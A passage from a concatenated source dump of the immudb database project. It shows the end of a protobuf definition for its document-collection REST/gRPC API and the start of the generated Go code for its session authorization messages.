}; string name = 1; string documentIdFieldName = 2; } message UpdateCollectionResponse {} message AddFieldRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "field" ] } }; string collectionName = 1; Field field = 2; } message AddFieldResponse {} message RemoveFieldRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "fieldName" ] } }; string collectionName = 1; string fieldName = 2; } message RemoveFieldResponse {} message CreateIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "fields", "isUnique" ] } }; string collectionName = 1; repeated string fields = 2; bool isUnique = 3; } message CreateIndexResponse {} message DeleteIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "fields" ] } }; string collectionName = 1; repeated string fields = 2; } message DeleteIndexResponse {} message InsertDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "documents" ] } }; string collectionName = 1; repeated google.protobuf.Struct documents = 2; } message InsertDocumentsResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "transactionId", "documentIds" ] } }; uint64 transactionId = 1; repeated string documentIds = 2; } message ReplaceDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "query", "document" ] } }; Query query = 1; google.protobuf.Struct document = 2; } message ReplaceDocumentsResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "revisions" ] } }; repeated DocumentAtRevision revisions = 1; } message DeleteDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "query" ] } }; Query query = 1; } message DeleteDocumentsResponse {} message SearchDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "searchId", "query", "page", "pageSize" ] } }; string searchId = 1; Query query = 2; uint32 page = 3; uint32 pageSize = 4; bool keepOpen = 5; } message Query { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "expressions" ] } }; string collectionName = 1; repeated QueryExpression expressions = 2; repeated OrderByClause orderBy = 3; uint32 limit = 4; } message QueryExpression { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "fieldComparisons" ] } }; repeated FieldComparison fieldComparisons = 1; } message FieldComparison { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "field", "operator", "value" ] } }; string field = 1; ComparisonOperator operator = 2; google.protobuf.Value value = 3; } enum ComparisonOperator { EQ = 0; NE = 1; LT = 2; LE = 3; GT = 4; GE = 5; LIKE = 6; NOT_LIKE = 7; } message OrderByClause { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "field", "desc" ] } }; string field = 1; bool desc = 2; } message SearchDocumentsResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "searchId", "revisions" ] } }; string searchId = 1; repeated DocumentAtRevision revisions = 2; } message DocumentAtRevision { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "transactionId", "documentId", "revision" ] } }; uint64 transactionId = 1; string documentId = 2; uint64 revision = 3; DocumentMetadata metadata = 4; google.protobuf.Struct document = 5; string username = 6; int64 ts = 7; } message DocumentMetadata { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "deleted" ] } }; bool deleted = 1; } message CountDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "query" ] } }; Query query = 1; } message CountDocumentsResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "count" ] } }; int64 count = 1; } message AuditDocumentRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "documentId", "desc", "page", "pageSize", "omitPayload" ] } }; string collectionName = 1; string documentId = 2; bool desc = 3; uint32 page = 4; uint32 pageSize = 5; bool omitPayload = 6; } message AuditDocumentResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "revisions" ] } }; repeated DocumentAtRevision revisions = 1; } message ProofDocumentRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "collectionName", "documentId", "transactionId", "proofSinceTransactionId" ] } }; string collectionName = 1; string documentId = 2; uint64 transactionId = 3; uint64 proofSinceTransactionId = 4; } message ProofDocumentResponse { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ "database", "collectionId", "documentIdFieldName", "encodedDocument", "verifiableTx" ] } }; string database = 1; uint32 collectionId = 2; string documentIdFieldName = 3; bytes encodedDocument = 4; schema.VerifiableTxV2 verifiableTx = 5; } service DocumentService { rpc CreateCollection(CreateCollectionRequest) returns (CreateCollectionResponse) { option (google.api.http) = { post: "/collection/{name}" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc GetCollections(GetCollectionsRequest) returns (GetCollectionsResponse) { option (google.api.http) = { get: "/collections" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc GetCollection(GetCollectionRequest) returns (GetCollectionResponse) { option (google.api.http) = { get: "/collection/{name}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc UpdateCollection(UpdateCollectionRequest) returns (UpdateCollectionResponse) { option (google.api.http) = { put: "/collection/{name}" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc DeleteCollection(DeleteCollectionRequest) returns (DeleteCollectionResponse) { option (google.api.http) = { delete: "/collection/{name}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc AddField(AddFieldRequest) returns (AddFieldResponse) { option (google.api.http) = { post: "/collection/{collectionName}/field" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc RemoveField(RemoveFieldRequest) returns (RemoveFieldResponse) { option (google.api.http) = { delete: "/collection/{collectionName}/field/{fieldName}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc CreateIndex(CreateIndexRequest) returns (CreateIndexResponse) { option (google.api.http) = { post: "/collection/{collectionName}/index" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc DeleteIndex(DeleteIndexRequest) returns (DeleteIndexResponse) { option (google.api.http) = { delete: "/collection/{collectionName}/index" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc InsertDocuments(InsertDocumentsRequest) returns (InsertDocumentsResponse) { option (google.api.http) = { post: "/collection/{collectionName}/documents" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc ReplaceDocuments(ReplaceDocumentsRequest) returns (ReplaceDocumentsResponse) { option (google.api.http) = { put: "/collection/{query.collectionName}/documents/replace" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: [ "documents" ]; }; } rpc DeleteDocuments(DeleteDocumentsRequest) returns (DeleteDocumentsResponse) { option (google.api.http) = { post: "/collection/{query.collectionName}/documents/delete" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: [ "documents" ]; }; } rpc SearchDocuments(SearchDocumentsRequest) returns (SearchDocumentsResponse) { option (google.api.http) = { post: "/collection/{query.collectionName}/documents/search" body: "*" additional_bindings: { post: "/collection/documents/search/{searchId}" body: "*" } }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc CountDocuments(CountDocumentsRequest) returns (CountDocumentsResponse) { option (google.api.http) = { post: "/collection/{query.collectionName}/documents/count" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; } rpc AuditDocument(AuditDocumentRequest) returns (AuditDocumentResponse) { option (google.api.http) = { post: "/collection/{collectionName}/document/{documentId}/audit" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: [ "documents" ]; }; } rpc ProofDocument(ProofDocumentRequest) returns (ProofDocumentResponse) { option (google.api.http) = { post: "/collection/{collectionName}/document/{documentId}/proof" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: [ "documents" ]; }; } } ================================================ FILE: pkg/api/protomodel/authorization.pb.go ================================================ // //Copyright 2023 Codenotary Inc. All rights reserved. // //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http://www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writing, software //distributed under the License is distributed on an "AS IS" BASIS, //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //See the License for the specific language governing permissions and //limitations under the License. // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.32.0 // protoc v3.21.12 // source: authorization.proto package protomodel import ( _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type OpenSessionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` } func (x *OpenSessionRequest) Reset() { *x = OpenSessionRequest{} if protoimpl.UnsafeEnabled { mi := &file_authorization_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *OpenSessionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*OpenSessionRequest) ProtoMessage() {} func (x *OpenSessionRequest) ProtoReflect() protoreflect.Message { mi := &file_authorization_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use OpenSessionRequest.ProtoReflect.Descriptor instead. func (*OpenSessionRequest) Descriptor() ([]byte, []int) { return file_authorization_proto_rawDescGZIP(), []int{0} } func (x *OpenSessionRequest) GetUsername() string { if x != nil { return x.Username } return "" } func (x *OpenSessionRequest) GetPassword() string { if x != nil { return x.Password } return "" } func (x *OpenSessionRequest) GetDatabase() string { if x != nil { return x.Database } return "" } type OpenSessionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields SessionID string `protobuf:"bytes,1,opt,name=sessionID,proto3" json:"sessionID,omitempty"` ServerUUID string `protobuf:"bytes,2,opt,name=serverUUID,proto3" json:"serverUUID,omitempty"` ExpirationTimestamp int32 `protobuf:"varint,3,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` InactivityTimestamp int32 `protobuf:"varint,4,opt,name=inactivityTimestamp,proto3" json:"inactivityTimestamp,omitempty"` } func (x *OpenSessionResponse) Reset() { *x = OpenSessionResponse{} if protoimpl.UnsafeEnabled { mi := &file_authorization_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *OpenSessionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*OpenSessionResponse) ProtoMessage() {} func (x *OpenSessionResponse) ProtoReflect() protoreflect.Message { mi := &file_authorization_proto_msgTypes[1] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use OpenSessionResponse.ProtoReflect.Descriptor instead. func (*OpenSessionResponse) Descriptor() ([]byte, []int) { return file_authorization_proto_rawDescGZIP(), []int{1} } func (x *OpenSessionResponse) GetSessionID() string { if x != nil { return x.SessionID } return "" } func (x *OpenSessionResponse) GetServerUUID() string { if x != nil { return x.ServerUUID } return "" } func (x *OpenSessionResponse) GetExpirationTimestamp() int32 { if x != nil { return x.ExpirationTimestamp } return 0 } func (x *OpenSessionResponse) GetInactivityTimestamp() int32 { if x != nil { return x.InactivityTimestamp } return 0 } type KeepAliveRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *KeepAliveRequest) Reset() { *x = KeepAliveRequest{} if protoimpl.UnsafeEnabled { mi := &file_authorization_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KeepAliveRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*KeepAliveRequest) ProtoMessage() {} func (x *KeepAliveRequest) ProtoReflect() protoreflect.Message { mi := &file_authorization_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KeepAliveRequest.ProtoReflect.Descriptor instead. func (*KeepAliveRequest) Descriptor() ([]byte, []int) { return file_authorization_proto_rawDescGZIP(), []int{2} } type KeepAliveResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *KeepAliveResponse) Reset() { *x = KeepAliveResponse{} if protoimpl.UnsafeEnabled { mi := &file_authorization_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KeepAliveResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*KeepAliveResponse) ProtoMessage() {} func (x *KeepAliveResponse) ProtoReflect() protoreflect.Message { mi := &file_authorization_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KeepAliveResponse.ProtoReflect.Descriptor instead. func (*KeepAliveResponse) Descriptor() ([]byte, []int) { return file_authorization_proto_rawDescGZIP(), []int{3} } type CloseSessionRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *CloseSessionRequest) Reset() { *x = CloseSessionRequest{} if protoimpl.UnsafeEnabled { mi := &file_authorization_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CloseSessionRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*CloseSessionRequest) ProtoMessage() {} func (x *CloseSessionRequest) ProtoReflect() protoreflect.Message { mi := &file_authorization_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CloseSessionRequest.ProtoReflect.Descriptor instead. func (*CloseSessionRequest) Descriptor() ([]byte, []int) { return file_authorization_proto_rawDescGZIP(), []int{4} } type CloseSessionResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *CloseSessionResponse) Reset() { *x = CloseSessionResponse{} if protoimpl.UnsafeEnabled { mi := &file_authorization_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CloseSessionResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*CloseSessionResponse) ProtoMessage() {} func (x *CloseSessionResponse) ProtoReflect() protoreflect.Message { mi := &file_authorization_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CloseSessionResponse.ProtoReflect.Descriptor instead. func (*CloseSessionResponse) Descriptor() ([]byte, []int) { return file_authorization_proto_rawDescGZIP(), []int{5} } var File_authorization_proto protoreflect.FileDescriptor var file_authorization_proto_rawDesc = []byte{ 0x0a, 0x13, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0c, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x68, 0x0a, 0x12, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x12, 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x12, 0x30, 0x0a, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x22, 0x12, 0x0a, 0x10, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x13, 0x0a, 0x11, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x16, 0x0a, 0x14, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xc8, 0x03, 0x0a, 0x14, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_authorization_proto_rawDescOnce sync.Once file_authorization_proto_rawDescData = file_authorization_proto_rawDesc ) func file_authorization_proto_rawDescGZIP() []byte { file_authorization_proto_rawDescOnce.Do(func() { file_authorization_proto_rawDescData = protoimpl.X.CompressGZIP(file_authorization_proto_rawDescData) }) return file_authorization_proto_rawDescData } var file_authorization_proto_msgTypes = make([]protoimpl.MessageInfo, 6) var file_authorization_proto_goTypes = []interface{}{ (*OpenSessionRequest)(nil), // 0: immudb.model.OpenSessionRequest (*OpenSessionResponse)(nil), // 1: immudb.model.OpenSessionResponse (*KeepAliveRequest)(nil), // 2: immudb.model.KeepAliveRequest (*KeepAliveResponse)(nil), // 3: immudb.model.KeepAliveResponse (*CloseSessionRequest)(nil), // 4: 